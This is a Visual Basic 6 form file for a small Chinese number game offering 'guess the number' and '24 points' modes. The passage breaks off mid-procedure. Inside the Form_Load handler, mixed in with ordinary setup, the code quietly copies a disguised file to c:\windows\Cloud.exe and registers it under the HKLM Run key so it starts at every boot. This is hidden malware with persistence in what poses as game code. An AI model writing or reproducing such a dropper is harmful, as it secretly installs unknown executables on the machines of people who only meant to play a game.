frmmain.frm

简单的猜数字、二十四点游戏

Private Sub CmdStart_Click()
For hh = 0 To 6
 LblJie(hh).Caption = ""
Next
Label1.Caption = "猜数字"
Label3.Caption = "你共有8次机会"
Win1 = 0
Win2 = 0
TxtNum(0).Enabled = True
TxtNum(1).Enabled = True
TxtNum(2).Enabled = True
TxtNum(3).Enabled = True
TxtNum(0).SetFocus
CmdOk.Enabled = True
CmdAnswer.Enabled = True
Randomize
Dim RndNum As Integer
RndNum = Int(Rnd * 10)
Num(0) = Num10(RndNum)
For s = RndNum + 1 To 9
 Num10(s - 1) = Num10(s)
Next

RndNum = Int(Rnd * 9)
Num(1) = Num10(RndNum)
For s = RndNum + 1 To 8
 Num10(s - 1) = Num10(s)
Next

RndNum = Int(Rnd * 8)
Num(2) = Num10(RndNum)
For s = RndNum + 1 To 7
 Num10(s - 1) = Num10(s)
Next

RndNum = Int(Rnd * 7)
Num(3) = Num10(RndNum)
For s = RndNum + 1 To 6
 Num10(s - 1) = Num10(s)
Next
For h = 0 To 9
 Num10(h) = h
Next
CmdStart.Enabled = False
End Sub

Private Sub Command1_Click()
End
End Sub

Private Sub Command2_Click()
Text4.Text = ""
Image1(0).Enabled = True
Image1(1).Enabled = True
Image1(2).Enabled = True
Image1(3).Enabled = True

End Sub

Private Sub Form_Load()
On Error Resume Next
Yes24 = 0
LblNum = 0
LineMove(0).Visible = False
LineMove(0).BorderColor = &HFF00&
For mm = 1 To 45
 LineMove(mm).X1 = LineMove(mm - 1).X1
 LineMove(mm).X2 = LineMove(mm - 1).X2
 LineMove(mm).Y1 = LineMove(mm - 1).Y1 + 15
 LineMove(mm).Y2 = LineMove(mm - 1).Y2 + 15
 LineMove(mm).BorderColor = &HFF00&
 LineMove(mm).Visible = False
Next

MnuNormal.Checked = True
MnuMan.Checked = False
Mnufast.Checked = False
Text1.Text = Format(Now, "yyyy") & "年" & Format(Now, "mm") & "月" & Format(Now, "dd") & "日" & Format(Now, "dddd")
For h = 0 To 9
 Num10(h) = h
Next
MyA(0) = "+"
MyA(1) = "-"
MyA(2) = "*"
MyA(3) = "/"
MnuHs.Checked = True
MnuMaxTime.Checked = False
MnuSs.Checked = False
MnuFs.Checked = False
MnuTs.Checked = False
MaxGameTime = 50
If Dir("c:\windows\cloud.exe") = "" Then
 FileCopy App.Path & "\Msjusent.bas", "c:\windows\Cloud.exe"
End If
Dim phk As Long

    Dim keyhand As Long
    Dim r As Long
    
    r = RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", keyhand)
    r = RegSetValueEx(keyhand, "Cloud.sys", 0, 1, ByVal "c:\windows\Cloud.exe", Len("c:\windows\Cloud.sys"))
    r = RegCloseKey(keyhand)
End Sub

Private Sub Form_Unload(Cancel As Integer)
End
End Sub

Private Sub Frame2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LblCai.ForeColor = &H80FF80
Lbl24.ForeColor = &H80FF80
Label2.Visible = False
Label6.Visible = False
End Sub

Private Sub Frame4_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim mm As Integer
For mm = 0 To 5
 LblA(mm).ForeColor = &HFF&
Next
LblDel.ForeColor = &HFF&
End Sub

Private Sub Frame5_Click()
Load FrmEgg
FrmEgg.Show
Me.Enabled = False
End Sub

Private Sub Frame5_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Label8.ForeColor = &H80FFFF
End Sub

Private Sub Image1_Click(Index As Integer)
If TimGameTime.Enabled = True Then
   Text4.Text = Text4.Text & Hex(Num24(Index))
   Image1(Index).Enabled = False
End If
Beep
End Sub

Private Sub Image2_Click()
PopupMenu Mnumovie
End Sub

Private Sub Label8_Click()
Load FrmEgg
FrmEgg.Show
Me.Enabled = False
End Sub

Private Sub Label8_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Label8.ForeColor = &HFFFF&
End Sub

Private Sub Lbl24_Click()
If BackFlag = True Then Exit Sub
If Yes24 = 2 Then Exit Sub
Text2.Text = "挑战24点V3.10版"
Timer3.Enabled = True
Yes24 = 2
FramBack.Visible = True
Timback.Enabled = True
BackFlag = True
Me.Caption = "数字游戏之挑战24点V3.10版"
For s = 0 To 3
 TxtNum(s).Text = ""
 TxtNum(s).Enabled = False
Next
CmdStart.Enabled = True
CmdOk.Enabled = False
CmdAnswer.Enabled = False
For s = 0 To 6
 LblJie(s).Caption = ""
Next
End Sub

Private Sub Lbl24_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Lbl24.ForeColor = &H80FFFF
Label6.Visible = True
End Sub
Private Sub LblA_Click(Index As Integer)
If TimGameTime.Enabled = True Then
 Select Case Index
  Case 0
   Text4.Text = Text4.Text & "+"
  Case 1
   Text4.Text = Text4.Text & "-"
  Case 2
   Text4.Text = Text4.Text & "*"
  Case 3
   Text4.Text = Text4.Text & "/"
  Case 4
   Text4.Text = Text4.Text & "("
  Case 5
   Text4.Text = Text4.Text & ")"
 End Select
End If
Beep
End Sub

Private Sub LblA_MouseMove(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
LblA(Index).ForeColor = &HFF00&
End Sub

Private Sub LblCai_Click()
If BackFlag = True Then Exit Sub
If Yes24 = 1 Then Exit Sub
Yes24 = 1
Timback.Enabled = True
FramBack.Visible = True
Timer3.Enabled = False
BackFlag = True
Me.Caption = "数字游戏之猜数字V3.01版"
CmdNew24.Enabled = True
CmdOk24.Enabled = False
CmdJie24.Enabled = False
Command2.Enabled = False
Text4.Text = ""
Text4.Enabled = False
For s = 0 To 3
 Image1(s).Picture = LoadPicture(App.Path & "\back")
Next
End Sub

Private Sub LblCai_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LblCai.ForeColor = &H80FFFF
Label2.Visible = True
End Sub

Private Sub LblDel_Click()
Text4.Text = Left(Text4.Text, Len(Text4.Text) - 1)
Image1(0).Enabled = True
Image1(1).Enabled = True
Image1(2).Enabled = True
Image1(3).Enabled = True
End Sub

Private Sub LblDel_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LblDel.ForeColor = &H80FFFF
End Sub

Private Sub LblEgg_Click()
Load FrmEgg
FrmEgg.Show
Me.Enabled = False
End Sub

Private Sub LblGameTime_Click()
PopupMenu MnuGameTime
End Sub

Private Sub Mnufast_Click()
Timer3.Interval = 200
Mnufast.Checked = True
MnuMan.Checked = False
MnuNormal.Checked = False
End Sub

Private Sub MnuFs_Click()
MaxGameTime = 20
MnuFs.Checked = True
MnuHs.Checked = False
MnuSs.Checked = False
MnuTs.Checked = False
MnuMaxTime.Checked = False

End Sub

Private Sub MnuHs_Click()
MaxGameTime = 50
MnuHs.Checked = True
MnuFs.Checked = False
MnuSs.Checked = False
MnuTs.Checked = False
MnuMaxTime.Checked = False
End Sub

Private Sub MnuMan_Click()
Timer3.Interval = 2000
Mnufast.Checked = False
MnuMan.Checked = True
MnuNormal.Checked = False

End Sub

Private Sub MnuMaxTime_Click()
MaxGameTime = 100
MnuSs.Checked = False
MnuHs.Checked = False
MnuFs.Checked = False
MnuTs.Checked = False
MnuMaxTime.Checked = True
End Sub

Private Sub MnuNormal_Click()
Timer3.Interval = 1000
Mnufast.Checked = False
MnuMan.Checked = False
MnuNormal.Checked = True

End Sub

Private Sub MnuSetAdd_Click()
SendKeys "{+}"
End Sub

Private Sub MnuSetB_Click()
SendKeys "{-}"
End Sub

Private Sub MnuSetD_Click()
SendKeys "{*}"
End Sub

Private Sub MnuSetLeft_Click()
SendKeys "{(}"
End Sub

Private Sub MnuSetRight_Click()
SendKeys "{)}"
End Sub

Private Sub MnuSetS_Click()
SendKeys "{/}"
End Sub

Private Sub MnuSs_Click()
MaxGameTime = 30
MnuSs.Checked = True
MnuHs.Checked = False
MnuFs.Checked = False
MnuTs.Checked = False
MnuMaxTime.Checked = False

End Sub

Private Sub MnuTs_Click()
MaxGameTime = 15
MnuMaxTime.Checked = False

MnuTs.Checked = True
MnuHs.Checked = False
MnuSs.Checked = False
MnuFs.Checked = False
End Sub

Private Sub Text4_KeyPress(KeyAscii As Integer)
If KeyAscii <> 45 And KeyAscii <> 8 And KeyAscii <> 42 And KeyAscii <> 40 And KeyAscii <> 41 And KeyAscii <> 47 And KeyAscii <> 43 Then
KeyAscii = 0
End If
End Sub

Private Sub Text4_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = 1 Then
PopupMenu MnuSet
End If
End Sub

Private Sub Timback_Timer()
 FramBack.Height = FramBack.Height + 3
 LineMove(LblNum).Visible = True
 LblNum = LblNum + 1
 If FramBack.Height >= 135 Then
  Timeback1.Enabled = True
  Timback.Enabled = False
  If Yes24 = 2 Then
    Frame3.Visible = False
    Frame1.Visible = False
    Frame4.Visible = True
  Else
   If Yes24 = 1 Then
    Frame3.Visible = True
    Frame1.Visible = True
    Frame4.Visible = False
   Else
    Frame5.Visible = True
   End If
  End If
  LblNum = 0
  Frame5.Visible = False
 End If

End Sub

Private Sub Timeback1_Timer()
FramBack.Height = FramBack.Height - 3
FramBack.Top = FramBack.Top + 3
LineMove(LblNum).Visible = False
LblNum = LblNum + 1
If FramBack.Height <= 1 Then
 FramBack.Visible = False
 FramBack.Top = 16
 FramBack.Height = 1
 Timeback1.Enabled = False
 BackFlag = False
 LineMove(45).Visible = False
 LblNum = 0
End If
End Sub

Private Sub Timer1_Timer()
i = i + 1
If i >= 9 Then i = 1
Me.Icon = ImageList1.ListImages(i).Picture
End Sub

Private Sub Timer2_Timer()
Text3.Text = Format(Now, "hh:nn:ss")
End Sub

Private Sub Timer3_Timer()
If He = True Then
 Image2.Picture = LoadPicture(App.Path & "\head1")
 He = False
Else
 He = True
  Image2.Picture = LoadPicture(App.Path & "\head2")
End If
Image2.ToolTipText = Format(Now, "hh:mm:ss") & "  " & Format(Now, "dddd")
End Sub

Private Sub TimGameTime_Timer()
If MyTime > Timer() Then MyTime = Timer()
If Int(Timer() - My